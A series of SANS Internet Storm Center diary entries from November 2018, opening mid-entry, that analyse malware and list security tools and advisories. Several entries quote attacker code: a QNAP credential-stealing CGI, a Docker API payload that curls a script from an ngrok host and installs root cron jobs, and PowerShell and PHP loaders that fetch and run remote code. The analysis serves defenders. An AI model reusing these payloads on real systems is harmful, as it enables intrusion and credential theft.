$ tr ‘abcdefghij’ ‘1234567890’ <<__END__
Example string
Ex1mpl5 str9n7

Each character from the first argument is replaced with the character from the second one ('a' -> '1', 'b' -> '2', ...). Here is the ’tr’ command from the malicious script:

tr 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh

'b${VXGXkTXAV}a${CYlb}sh’ is simply the ‘bash’ command. So, tr converts all characters from the very long string ending with ‘CaXTFJSCqaHF’ then the content (deobfuscated commands) is piped to bash. Here is  an interesting finding in the script (beautified)

 1: grep 'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:' /etc/shadow >/dev/null 2>&1 && {
 2: ! test -d "${bdir}/.log" && mkdir "${bdir}/.log"
 3: ! test -f /home/httpd/cgi-bin/QTSauthLogin.cgi && { 
 4:    cp -p /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi || cp /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi; 
 5: } && echo '#!/bin/sh
 7: test "x${REQUEST_METHOD}" = xPOST && {
 8:   case "${CONTENT_LENGTH}" in 
 9:     '"''"' | *[!0-9]* | 0* ) false 
10:       ;; 
11:    *) test "${CONTENT_LENGTH}" -lt 2147483646 
12:       ;; 
13: esac && { 
14:   IFS= read -d '"''"' -rn "${CONTENT_LENGTH}" POSTDATA; test -z "$POSTDATA" && POSTDATA=`dd bs=1 count="$CONTENT_LENGTH" 2>/dev/null`; 
15: } || test "$POSTDATA" || POSTDATA=`cat`
17: test ! -z "$POSTDATA" && 
18: case "${POSTDATA}" in 
19:   *pwd*) test -f "'${bdir}'/.log/.cgi_log" || 
20:          { test -d "'${bdir}'/.log" || mkdir -p "'${bdir}'/.log" && touch "'${bdir}'/.log/.cgi_log"; } 
21:          && test $((`stat -c '"'"'%s'"'"' "'${bdir}'/.log/.cgi_log"`)) -lt 209715200 && cat >> "'${bdir}'/.log/.cgi_log" << EOF ;; 
22: esac;
24: EOF
25: }
26: test ! -z "$POSTDATA" && case "$POSTDATA" in *user=admin* ) true ;; *) false ;; esac || case "$QUERY_STRING" in *user=admin*) true ;; *) false ;; esac && {
27: case "${REMOTE_ADDR}" in 
28:   '"''"' | 10.* | 127.* | 192.168.* | 169.254.* | 172.1[6-9].* | 172.2[0-9].* | 172.3[01].* | *:* ) false 
29:      ;; 
30:   *) true
31:      ;;
32: esac && grep '"'"'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:'"'"' /etc/shadow >/dev/null 2>/dev/null && exit 0
33: }
34: if ! test -z "$POSTDATA"; then
35:   exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi << V4KLDmYwvc
37: V4KLDmYwvc
38: else
39:   exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi
40; fi
41: exit 0' > /home/httpd/cgi-bin/_authLogin.cgi

This code installs a malicious CGI script (/home/httpd/cgi-bin/_authLogin.cgi) that steals the admin password (note that the default credentials are tested). The script also installs cron jobs, SSH & UPNP tools. So, it is definitively malicious! 

The remaining question is: how is this script installed on the device, via which vulnerability? There are some critical vulnerabilities in QTS released in 2018[2].

[1] https://forum.qnap.com/viewtopic.php?t=143239&start=15
[2] https://www.cvedetails.com/vulnerability-list/vendor_id-10080/Qnap.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-26

ViperMonkey: VBA maldoc deobfuscation

ViperMonkey: a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files.

Related reads:

Problem Statement:

“Macro malware hides in Microsoft Office files and are delivered as email attachments or inside ZIP files. These files use names that are intended to entice or scare people into opening them. They often look like invoices, receipts, legal documents, and more. Macro malware was fairly common several years ago because macros ran automatically whenever a document was opened. However, in recent versions of Microsoft Office, macros are disabled by default. This means malware authors need to convince users to turn on macros so that their malware can run. They do this by showing fake warnings when a malicious document is opened.” ~Macro malware

ViperMonkey Installation:

Download and installation guidance is available on ViperMonkey’s GitHub repository. Be advised installation success and an optimized deployment can vary wildly depending on the OS you chose to install on. The most important takeaway is that you want to use PyPy to run ViperMonkey, the performance improvements in doing so are significant. While Philippe’s disclaimer is warranted, I found ViperMonkey to be quite performant, even on a virtual machine, when utilized with PyPy. I had the most success installing as follows on Ubuntu 18.04 Bionic Beaver, your experience may vary and you’ll likely want or need to experiment. There are definite nuances between Windows and Linux/Mac. Most importantly, note that

sudo -H pypy -m ensurepip

will not work on Ubuntu 18.04.

sudo apt-get install pypy
sudo apt-get install python-pip

Download the archive from the repository: https://github.com/decalage2/ViperMonkey/archive/master.zip Extract it in the folder of your choice, and open a shell/cmd window in that folder. Install dependencies by running

sudo -H pypy -m pip install -U -r requirements.txt

Confirm that Vipermonkey runs without errors:

pypy vmonkey.py

Ideally, install the dependencies for PyPy, you can download them individually then install them as follows:

sudo pypy ~/Downloads/setuptools-40.6.2/setup.py install
sudo pypy ~/Downloads/colorlog-3.1.4/setup.py install
sudo pypy ~/Downloads/olefile-0.46/setup.py install
sudo pypy ~/Downloads/prettytable-0.7/setup.py install
sudo pypy ~/Downloads/pyparsing-2.3.0/setup.py install

Again, “ViperMonkey can be sped up considerably (~5 times faster) by running ViperMonkey using pypy rather than the regular Python interpreter.”


Once you’ve conquered the installation, usage is particularly straightforward. Ready for it?

pypy vmonkey.py -s <file>

Use the -s flag to strip out useless statements from the Visual Basic macro code prior to parsing and emulation, again contributing to efficiency and speed. I enabled an example run via the likes of

pypy ~/vipermonkey/vmonkey.py -s samples/4aff

Maldoc samples:

I logged in to my favorite malware sample repository, VirusShare.com, searched for VBA, and selected three samples.

  • Trojan:Win32/Tiggre!rfn, MD5 cbdcc830345b99d94aa624e57689fd7b
  • Trojan:Win32/Occamy.C, MD5 0dc208ad5f0768fe99b75528dc97321b
  • Trojan:Win32/Bluteal.B!rfn, MD5 8ef62c0737f219e3e57a9f1ed1adcfb9

The first sample, a Word doc with malicious macros disguised as a Citi Bank document, yielded immediately interesting results. A typical ViperMonkey run should result in the likes of Figure 1 as it starts parsing.

Figure 1: Initial ViperMonkey run

This sample is noted for commonly abused properties such as:

  • Runs other files, shell commands, or applications
  • Contains deobfuscation code
  • Makes use of macros
  • Create OLE objects

This is all immediately noted via ViperMonkey. Of particular interest, take note of Figure 2 as derived in ViperMonkey’s Recorded Actions for this sample.

Figure 2: Recorded Actions

Looks like someone popped a shell to me. This sample also utilizes the GetNetworkCredential().password function, for what I hope are overtly obvious reasons. In all, ViperMonkey identified the VBA Builtins Called as [‘Chr’, ‘CreateObject’, ‘Mid’, ‘Run’, ‘StrReverse’]. Mid returns a variant containing a specified number of characters from a string, and StrReverse returns a string in which the character order of a specified string is reversed. Carrie’s above mentioned article, Evasive VBA - Advanced Maldoc Techniques, states that StrReverse() can be “used to demonstrate that the strings do not need to be stored in the form required by GetObject() anywhere in the VBA.”

Our next sample is malicious Excel document with equally interesting attributes including the fact that it:

  • Contains deobfuscation code
  • Makes use of macros
  • Automatically runs commands or instructions when the file is opened
  • Create OLE objects

Let’s see what ViperMonkey has to say. Yep, popped another shell (see Figure 3).

Figure 3: Malicious Excel macro

Note that the CLng function is an Excel a built-in function that converts a value to a long integer and can be used as a VBA function (VBA) in macro code. Additionally, the CallByName function is used to get or set a property, or invoke a method at run time using a string name.

Our last sample is another Word variant, and I definitely save the best for last. This little gem treats victims to:

  • Downloads additional files from the Internet
  • Executes code from Dynamically Linked Libraries
  • Opens a file
  • Automatically runs commands or instructions when the file is opened
  • Makes use of macros
  • Enumerates open windows
  • Executes PowerShell commands
  • Tries to hide the viewer or other applications
  • Creates OLE objects

There are no surprises in the VBA calls identified by ViperMonkey, but if you read the VirusTotal community page for this sample, you’ll note that THOR APT Scanner (thank you, Florian @cyb3rops) rule, SUSP_Base64_Encoded_URL, from the Suspicious Indicators ruleset, detects a Base64 encoded URL. ViperMonkey proves that out as seen in Figure 4.

Figure 4: Spawned PowerShell

ViperMonkey is again consistent in its identification of the malicious behaviors in our selected sample. Note the process call [‘winmgmts:\\.\root\cimv2:Win32_Process’] as well as the PowerShell invocation: powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg. This is better exemplified in the VBA code as parsed by ViperMonkey in Figure 5.

Figure 5: VBA code for malicious Macro

Of interest, the Macro references an external library of libc.dylib, allowing execution of system commands as should be familiar to Empire users. I know Philippe considers this very much work in progress, but I’m pretty impressed and hope he continues development on the project. I really enjoyed putting this walkthrough together, I look forward to hearing about your experiments in maldoc analysis via russ @ holisticinfosec dot io or @holisticinfosec. Cheers…until next time.

Russ McRee | @holisticinfosec 


Published: 2018-11-23

Video: Dissecting a CVE-2017-11882 Exploit

I made a video for my diary entry "Dissecting a CVE-2017-11882 Exploit":


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2018-11-23

Moby the Shark

By default the Docker Engine API listens on a unix socket only, but the http interface can be configured and will listen to port 2375. If you need to have a http listener, configure it to listen on local ip's only. Shodan will give almost 800 accessible Docker Engine API's. The Open Docker Engine API's is being actively scanned, as we've detected in our Honeytrap network.

Scanners identifying by useragent Mozilla/5.0 zgrab/0.x are checking for existence of /v1.16/version. Url /containers/json is being checked by scanners with useragents:

  • python-requests/2.20.0*
  • Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  • Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

But we've seen two types of actual attacks the past days, one that starts a Cryptominer container, the other trying to own the Docker host itself. 

The first attack has been seen to check the response of url /v1.18/info first, using the Docker client useragent Docker-Client/1.6.0. Next it executes the following steps:

  • create a container (/v1.18/containers/create), based on the default ubuntu image, while binding the /root/.ssh folder to the container with payload:


  • attach to the console (/v1.18/containers/e90e34656806/attach?stderr=1&stdin=1&stdout=1&stream=1)
  • start the container (/v1.18/containers/e90e34656806/start)
  • resize the console (/v1.18/containers/e90e34656806/resize?h=25&w=80)
  • verify the configuration (/v1.18/containers/e90e34656806/json)

The other attack we encountered:

  • software using the useragent Go-http-client/1.1 scans for accessibility of url /v1.12/version.

Using useragent Swipely/Docker-API 1.34.0 the following actions were done:

  • pull image byrnedo/alpine-curl:0.16 (/v1.16/images/create?fromImage=byrnedo%2Falpine-curl%3A0.1.6)
  • verify the pulled image (/v1.16/images/byrnedo/alpine-curl:0.1.6/json)
  • create a new container based on the pulled image, bind the root folder of the host to the container, download a script from ngrok.io. Configure cron to run the downloaded script using the binded host volume (/v1.16/containers/create

{"Image":"sha256:9d899e1f01f4d19923e8212ffa34bfbb0c21d4ee498fff0b2c2f69b9bf665265","Entrypoint":"/bin/sh","HostConfig":{"Binds":["/:/tmpb9c9f0"]},"Cmd":["-c","curl --retry 3 -m 60 -o /tmpb9c9f0/tmp/tmpfile97cc76838c10360eb66a8bce1c6c3b14d \"http://d95f755c.ngrok.io/f/serve?l=d\u0026r=97cc76838c10360eb66a8bce1c6c3b14\";echo \"* * * * * root sh /tmp/tmpfile97cc76838c10360eb66a8bce1c6c3b14d\" \u003e/tmpb9c9f0/etc/crontab;echo \"* * * * * root sh /tmp/tmpfile97cc76838c10360eb66a8bce1c6c3b14d\" \u003e/tmpb9c9f0/etc/cron.d/1m;chroot /tmpb9c9f0 sh -c \"cron || crond\""]}

  • start a new container (/v1.16/containers/e90e34656806/start)
  • wait for the container to be started (/v1.16/containers/e90e34656806/wait)
  • check the logs (/v1.16/containers/e90e34656806/logs?stderr=true&stdout=true)
  • check the configuration (/v1.16/containers/e90e34656806)

Using ngrok.io localhost servers can be exposed externally using a subdomain of ngrok.io. The installed script (which can be found here) does the following:

  • install trap to run finish function (this will send a report to $HOST/m?o=$(pido)&r=${RIP}&t=${PROCS}&l=d&u=${_usr})
  • make and change to dir /tmp/.sysinfo
  • store the number of processors
  • kill all active crypto miners
  • clear immutable flag, remove and disarm by creating directory for /tmp/Circle_CF.png, /tmp/kcore, /tmp/BoomBoom, /usr/bin/ntpd
  • check running processes for known miner hashes, kill and replace them with an empty bash script, change attribute to immutable
  • download executables d8/daemon and d8/nginx and run
  • if nanopool exists in /etc/hosts then overwrite with empty hosts file
  • find and steal contents of credentials and .npmrc. Deliver to $HOST/c?r=${RIP}.
  • generate file /usr/sbin/scoutd whlch will find and pause other miner docker containers, and containers will be cleaned if being paused for longer than a day
  • configure cron to run the script /usr/sbin/scoutd every minute
  • kill some more miner processes (.koo, .scsid)
  • kill any stale wget / curl processes

Ngrok.io have been disabling the abusive tunnels. 


  • http://d95f755c.ngrok.io/f/serve?l=d&r=97cc76838c10360e3b5c8b1054b24b8b
  • d8/daemon
  • d8/nginx


  • Docker Engine API documentation (https://docs.docker.com/engine/api/v1.19/)
  • Bash script (https://gist.github.com/nl5887/7557f62bf065a1afc691bbd7c3ce0c9e)

Remco Verhoef (@remco_verhoef)
ISC Handler – Founder of DutchSec


Published: 2018-11-22

Divided Payload in Multiple Pasties

In politic, there is a strategy which says “divide and conquer”. It’s also true for some pieces of malware that spread their malicious code amongst multiple sources. One of our readers shared a sample of Powershell code found on Pastebin that applies exactly this technique. Thanks to him!

Here is the complete Powershell command line (beautified for easy read)

powershell.exe -command 
$request = [System.Net.WebRequest]::Create('hxxps://pastebin[.]com/raw/mVjViriF’);
$response = $request.GetResponse();
$requestStream = $response.GetResponseStream();
$readStream = New-Object System.IO.StreamReader $requestStream;
$rrequest = [System.Net.WebRequest]::Create('hxxps://pastebin[.]com/raw/g3KQyPSA’);
$rresponse = $rrequest.GetResponse();
$rrequestStream = $rresponse.GetResponseStream();
$rreadStream = New-Object System.IO.StreamReader $rrequestStream;

The code is pretty easy to understand: It grabs the content of 2 pasties from pastebin.com, concatenates them and executes them through iex(), an alias for Invoke-Expression(). So, we can expect these pasties to contain more Powershell code.

Indeed, here is the content of the concatenated data:

function HexToBin([string]$s) {
  $return = @()
  for ($i = 0; $i -lt $s.Length ; $i += 2)
    $return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
  Write-Output $return
$Str = ‘4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000
[stuff deleted]
$Str = $Str.replace("0","0");
[byte[]]$Data = HexToBin($str);
$asm = [System.Reflection.Assembly]::Load($Data);
write-host "Can you help me";

This piece of code decodes the hex-encoded $str variable into $data using the HexToBin() function and executes it. You can see the beginning of the string ‘0x4D 0x5A 0x90’ which indicates that it’s a PE file. The way it is executed is interesting. It uses the System.Reflection.Assembly[1] class to load the code and execute it from memory (file less Powershell)

The PE sample has the following SHA256 hash: 30db9979df050b966c8d89e0f76377b618145133b54662f8fa65dbce02f8c4b6.exe. It was unknown on VT yesterday but today it was uploaded from Denmark and reached already a score of 24/63[2]. It adds persistence by creating a .lnk file into %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ pointing to a copy of itself stored in %TEMP%. It tries to communicate with a C2 (testhoward[.]mysecondarydns[.]com) via HTTPS.

Happy Thanksgiving!

[1] https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.7.2
[2] https://www.virustotal.com/#/file/30db9979df050b966c8d89e0f76377b618145133b54662f8fa65dbce02f8c4b6/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-21

Critical Vulnerability in Flash Player

Adobe released a patch for a critical vulnerability in Flash Player [1]. According to Adobe, details about the vulnerability have already been made public. Succesful exploitation does allow arbitrary code execution. Widespread exploitation may be imminent. This is of course, in particular, worrying ahead of the long weekend (in the US) with many IT shops running on a skeleton crew. Try to patch this before you head out on Wednesday, or maybe the weekend shift can take care of it.

Of course, over the weekend you may be asked to look at issues with relative's systems. I recommend that you first apply all patches, including this one, then disable Flash. By first patching, and later disabling, you increase your chances of a patched version being installed once the user decides to re-enable Flash.

Google Chrome and Microsoft's Edge browser also need to be updated. Both include Flash by default and are vulnerable.

The vulnerability was originally described in a blog by Gil Dabah about a week ago as part of the "Insanely Low Level" blog [2].

[1] https://helpx.adobe.com/security/products/flash-player/apsb18-44.html
[2] https://www.ragestorm.net/blogs/?p=421


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2018-11-20

VMware Affected by Dell EMC Avamar Vulnerability

VMware notified us that they released a new security bulletin[1] (rated as "critical") which affects vSphere Data Protection (VDP).

VDP is vulnerable because it is based on Dell EMC Avamar Virtual Edition. Multiple vulnerabilities have been disclosed today in this solution:

  • A remote code execution vulnerability (%%cve:2018-11066%%): A remote unauthenticated attacker could potentially exploit this vulnerability to execute arbitrary commands on the server.
  • An open redirection vulnerability (%%cve:2018-11067%%): A remote unauthenticated attacker could potentially exploit this vulnerability to redirect application users to arbitrary web URLs by tricking the victim users to click on maliciously crafted links. The vulnerability could be used to conduct phishing attacks that cause users to unknowingly visit malicious sites.

Patches are available for both products.

This is a perfect example of how a product 'A' can affect a product 'B' when technologies are reused across multiple solutions.

[1] https://www.vmware.com/security/advisories/VMSA-2018-0029.html
[2] https://seclists.org/fulldisclosure/2018/Nov/49

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-20

Querying DShield from Cortex

Cortex is a tool part of the TheHive project[1]. As stated on the website, it is a "Powerful Observable Analysis Engine". Cortex can analyze observables like IP addresses, emails, hashes, filenames against a huge (and growing) list of online services. I like the naming convention used by Cortex. We have "observables" that can be switched later to an "IOC" later if they are really relevant for us. Keep in mind that an interesting IOC for you could be totally irrelevant in another environment.

What makes Cortex so powerful and convenient is the long list of "analysers" (that's how they call the plugins). Though those small pieces of code, you can, in one click, search for observables in many sources. Cortex is available through a web interface but its REST API makes it easy to interconnect with other tools to enrich the data. Two popular tools that can interact with Cortex are MISP[2] and TheHive[3]. From their web interface, I can easily enrich data using the following analyzers (they are enabled in my own instance of TheHive):

  • Abuse_Finder_2_0
  • CIRCLPassiveDNS_2_0
  • CIRCLPassiveSSL_2_0
  • Censys_1_0
  • Cymon_Check_IP_2_1
  • DShield_lookup_1_0
  • DomainTools_ReverseIP_2_0
  • DomainTools_ReverseNameServer_2_0
  • DomainTools_ReverseWhois_2_0
  • DomainTools_Risk_2_0
  • DomainTools_WhoisHistory_2_0
  • DomainTools_WhoisLookup_2_0
  • DomainTools_WhoisLookup_IP_2_0
  • EmlParser_1_0
  • FileInfo_3_0
  • Fortiguard_URLCategory_2_0
  • HybridAnalysis_GetReport_1_0
  • MISPWarningLists_1_0
  • MISP_2_0
  • MaxMind_GeoIP_3_0
  • Msg_Parser_2_0
  • OTXQuery_2_0
  • Onyphe_Forward_1_0
  • Onyphe_Geolocate_1_0
  • Onyphe_Ports_1_0
  • Onyphe_Reverse_1_0
  • Onyphe_Threats_1_0
  • PassiveTotal_Enrichment_2_0
  • PassiveTotal_Malware_2_0
  • PassiveTotal_Osint_2_0
  • PassiveTotal_Passive_Dns_2_0
  • PassiveTotal_Ssl_Certificate_Details_2_0
  • PassiveTotal_Ssl_Certificate_History_2_0
  • PassiveTotal_Unique_Resolutions_2_0
  • PassiveTotal_Whois_Details_2_0
  • Robtex_Forward_PDNS_Query_1_0
  • Robtex_IP_Query_1_0
  • Robtex_Reverse_PDNS_Query_1_0
  • Shodan_Host_1_0
  • Shodan_Search_1_0
  • URLhaus_1_0
  • VirusTotal_GetReport_3_0
  • VirusTotal_Scan_3_0
  • WOT_Lookup_1_0

Writing new analyzers is very simple, an API is provided and any language can be used (by most of them are written in Python). Some analyzers query open services, others query private services (you need an API) or commercial services (you need a subscription). As you can see, there is an analyzer called "DShield_lookup". That's my contribution to the project. From Cortex, MISP, TheHive, you can query our DShield database to get more information about an IP address:

When if you click on the DShield tag, you can more details:

The DShield analyzer has been added to the official repository by the developers a few weeks ago. Just deploy Cortex and enable it to benefit from our DShield database!

[1] https://thehive-project.org/#section_cortex
[2] http://misp-project.org/
[3] https://thehive-project.org/#section_thehive

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-19

The Challenge of Managing Your Digital Library

How do you manage your digital library on a daily basis? If like me, you are receiving a lot of emails, notifications, tweets, [name your best technology here], they are chances that you're flooded by tons of documents in multiple formats. This problem is so huge that, if I'm offline for a few days or too busy to handle the information in (almost) real time, it costs me a lot of extra time to process the waiting queue. While surfing, there are also a lot of documents that are not immediately useful but "could be". Do you also have a bad feeling when you delete a document "that could be very interesting in the future?". In fact, it's like people who store everything in their home and that can't trash them.

Here is a small list of data that I like to keep:

  • Emails (from mailing lists)
  • Tweets
  • PDF/papers from security conferences
  • Studies, white papers
  • Software, firmware, ...
  • Configuration samples
  • Collected data (pasties, DB dumps, Darkweb data, screenshots, ...)

With electronic documents, we also have another dilemma: which kind of storage? Local or in the cloud? It's easy to store documents in the cloud. They are indexed, they are available from everywhere. Plenty of tools and services provide this but... for how long? What if you upload a few TB of data in the cloud and the service disappear? Local storage has also caveats: how to handle the amount of data across years? How to backup? How to migrate to new or more powerful technologies? How to manage your NAS, patch them, etc.

Today, I still did not found the best way to complete this task. What I'm using at the moment:

  • Splunk to index tweets, emails
  • Evernote for documents (including PDF)
  • Local NAS
  • Cloud services with buckets like B2, C2, Amazon for long retention of data files
  • Private Gitlab for configuration files, lists, pieces of code

And you? How do you manage your digital library? Please share your stories!

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-18

Multipurpose PCAP Analysis Tool

I was looking for a tool to easily graph traffic for a project (there are many out there) and while searching I found this tool written as a project by "[...]  Daniel Botterill as part of his MSc Computer Security degree, it has been designed to take in a PCAP capture file and report back any malicious behaviour identified."[1]

This tool is packed with options (tabs) to analyze traffic in many different ways. There is two sample pcap files included in the MalwareAnalysis folder for testing the tool or you can use your own. I update two lists in BlocklistedAddresses\blocklists [3][4] folder before starting the tool for the first time. You can add any list you want which will need to be configured after you start the tool under the Analyzer Settings which I will come back later.

This tool is easy to use and requires Java to be installed in order to work. Download the package from here. It runs on Windows and Linux (I haven't tested it on Linux) and unzip it. There are 4 scripts available to copy (as admin) the correct windows version of jnetpcap.dll to %windir%\system32 or same process for libjnetpcap.so to the correct Linux library. To start the program after the initial installation,  you can execute the  MalWareAnalysis.jar file.

Now it is time to configure the tool before importing any packets. To configure the tool, select Options -> Analyzer Settings:

All the different options are displayed here. For example, I wanted a Network Map to display the traffic relationships and I checked the network map box before moving on to the Blocklisted Addresses tab and added the bt_spyware.txt list to my analyzer as this graph:

Next open and import a pcap file into the PCAP Analyzer:

The pcap I picked contained all the web connections to my honeypot for the last 24 hours. I now go to the Network Map tab and check the traffic relationship between my honeypot (center and the inbound connections to the web server. The graph shows how many attempts per IP and sometimes shows the URL. You can adjust the Network Map Layout (drop down from top) to view the IPs or move the icon around. You can see one of the source to the right requested various PHP scripts 319 times(only first one shown) against the honeypot. The thicker is the line, the more traffic between the hosts.

This one of the many features available. The last feature I am going to used is the Stream Viewer -> TCP Streams. Each packet can be selected to view the ASCII data (if readable)

It is not a replacement for Wireshark but has many of its features where some are easier and quicker to use and can be very useful as another tool to analyze traffic and its payload. There are so many more features I could talk about, you just have to test it for yourself if it should become part of your security set.

[1] http://www.cs.bham.ac.uk/~tpc/PCAP/
[2] http://www.cs.bham.ac.uk/~tpc/PCAP/MalwareAnalysis.zip
[3] https://zeustracker.abuse.ch/blocklist.php?download=domainblocklist
[4] https://www.iblocklist.com/lists

Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2018-11-17

Quickly Investigating Websites with Lookyloo

While we are enjoying our weekend, it's always a good time to learn about new pieces of software that could be added to your toolbox. Security analysts have often to quickly investigate a website for malicious content and it's not always easy to keep a good balance between online or local services. When you submit information to a free online service, they're good chances that data you submitted are logged and probably analysed/re-used, remember nothing is "for free". Lookiloo is a tool developed by CIRCL (the Luxembourg CERT) that helps to have a quick overview of a website by scraping it and displaying a tree of domains calling each other. The name "Lookyloo" comes from the Urban Dictionary[1] and means "People who just come to look".  The tool provides a simple web interface to submit a new site to query or to review previous analysis:

And a few seconds later, you get a tree of domains used by this website. Here is an example of a website used to deliver spam:

For each domain, you get the following information (if detected):

  • Presence of Javascript 
  • Cookie received
  •  Cookie read
  • Redirect
  • Cookie in URL

Some website (particularly news websites) are nice to analyze. Here is the result of scraping cnn.com:

Lookyloo is available on the CIRCL git repository[2]. I recommend you to use the provided docker-compose.yml file to run your own Docker container.

[1] https://www.urbandictionary.com/define.php?term=lookyloo
[2] https://github.com/CIRCL/lookyloo

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-16

Basic Obfuscation With Permissive Languages

For attackers, obfuscation is key to keep their malicious code below the radar. Code is obfuscated for two main reasons: defeat automatic detection by AV solutions or tools like YARA (which still rely mainly on signatures) and make the code difficult to read/understand by a security analyst.

Languages like PHP or Powershell are very permissive in the way they handle variables and functions. They also provide plenty of functions that are normally not malicious at all but which can sometimes “ring a bell” when found in pieces of code. A few daya ago, I found a webshell sample that was Base64 encoded (classic behaviour) but instead of calling the function directly, it was stored in a variable. This name being in a variable, it can also be obfuscated. Check out this piece of code:

1: <?php
2: $D=strrev('edoced_46esab’);
3: $s=gzinflate($D('7X39d9s2sujvPaf/A83qBmIi0ZKcdLOSKdtNnE3e5uvGzrZ9tq9KSZTEhiJV...

strrev() is a simple PHP function to revert a string. $D contains “base64_decode” and processes the output of gzinflate(). Simple!

But PHP is not the only language to allow this. Powershell too. There is no native strrev() function in Powershell (as far as a know but I’m not a “guru” in Powershell). So, let’s create our own strrev():

1: function strrev() {
2:   param([string]$s)
3:   $in = $s.ToCharArray()
4:   [array]::Reverse($in)
5:   $out = -join($in)
6:   return $out
7: }

Call the  function with a random name and, now, you can call the obfuscated function to hide suspicious ones:

1: $a = "tseuqeRbeW-ekovnI"
2: $b = lyJF5FnYlGDP($a)
3: $data = &$b "hxxp://www.malicious.site/sample.exe"

So, it could be a good idea to search for interesting/rare function names in your hunting regex or YARA rules. Here are some other examples grabbed (mainly from pastebin.com):

1: <?php
2: $v1 = strrev("edoced_46esab");
3: $v2 = strrev("sserpmocnuzg");
4: eval($v2($v1("eF7VPO1227aS/3NO3gFh1FJqFEuynSaVRPrGlrzx…

Or this one:

1: <?php 
2: $thycsy=chr(99)."r".chr(101).chr(97)."t".chr(101).chr(95)."\x66"."u".chr(110).chr(99)."t"."i"."\x6f"."n";
3: $szsglt = $thycsy('$a',strrev(';)a$(lave')); 
4: $szsglt(strrev(';))”=oQD9lQCK0QfJkQCK0gCNsjZ1JGJg8GajVWCJkQCK0QfJkQCJoQDJkQ..."(edoced_46esab(lave'));?>

Base64 encoded strings are also present everywhere (think about all email attachments). If you are hunting for interesting strings, search for them in ASCII or encoded with two bytes per character (use the ‘wide’ YARA keyword[1]) but search also for their Base64 encoded version! Some examples:

  • "Confidential" : Q29uZmlkZW50aWFs
  • "Invoke-Expression": SW52b2tlLUV4cHJlc3Npb24=
  • "ShellExecute": U2hlbGxFeGVjdXRl
  • "eval": ZXZhbA==

Simple obfuscation technique but it works!

[1] https://yara.readthedocs.io/en/v3.4.0/writingrules.html?highlight=wide

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-15

Emotet infection with IcedID banking Trojan


Emotet malware is distributed through malicious spam (malspam), and its active nearly every day--at least every weekday.  Sometimes the criminals behind Emotet take a break, such as a one month-long hiatus from early October through early November, but the infrastructure pushing Emotet has been very active since Monday 2018-11-05.

As Symantec and others have reported, the group behind Emotet has evolved from maintaining its own banking Trojan, and it now also distributes malware for other groups.  I commonly see follow-up malware like Trickbot and Zeus Panda Banker during Emotet infections generated in my lab environment.

Shown above:  Chain of events for recent infections caused by Emotet malspam.

Today's diary examines an Emotet infection on Wednesday 2018-11-14 with the IcedID banking Tojan as its follow-up malware.


A quick check of URLhaus showed me several URLs tagged emotet and heodo, which is another name for Emotet.  After you've seen enough of these URLs, you get a feel for their patterns and can identify an Emotet URL by looking at it.

Shown above:  Several Emotet URLs I saw on URLhaus.

Using a vulnerable Windows host, I picked an Emotet URL to download a Word document.  I opened the document, enabled macros, and saw the expected infection traffic.

Shown above:  Example of a Word document downloaded from an Emotet URL.

Shown above:  Traffic from an infected Windows host filtered in Wireshark.

Forensics on the infected Windows host

After reviewing the infection traffic, I checked my infected Windows host for malware.  Malware binaries for both Emotet and the IcedID banking Trojan were in the same places I've seen them before.

Shown above:  Emotet persistent on my infected Windows host.

Shown above:  IcedID persistent on my infected Windows host.

Indicators of Compromise (IoCs)

Malware from my infected Windows host:

SHA256 hash: 045e15c1df7c712dcac94c720b81df08fd0ff4e4c177d231d5cdcd7b4d096f95

  • File size: 94,592 bytes
  • File name: form-363439590633444.doc (random file names depending on the download URL)
  • File description: Downloaded Word doc with macro for Emotet

SHA256 hash: d6dd56e7fb1cc71fc37199b60461e657726c3bf8319ce59177ab4be6ed3b9fb4

  • File size: 430,080 bytes
  • File location: C:\Users\[username]\AppData\Local\Microsoft\Windows\[random name].exe
  • File description: Emotet malware binary on the infected Windows host

SHA256 hash: 667cda76b582c0771f85ad12167238e0f4bb12f479030d99c8a15d7f08eb9975

  • File size: 421,888 bytes
  • File location: C:\Users\[username]\AppData\Local\Microsoft\Windows\[random name].exe
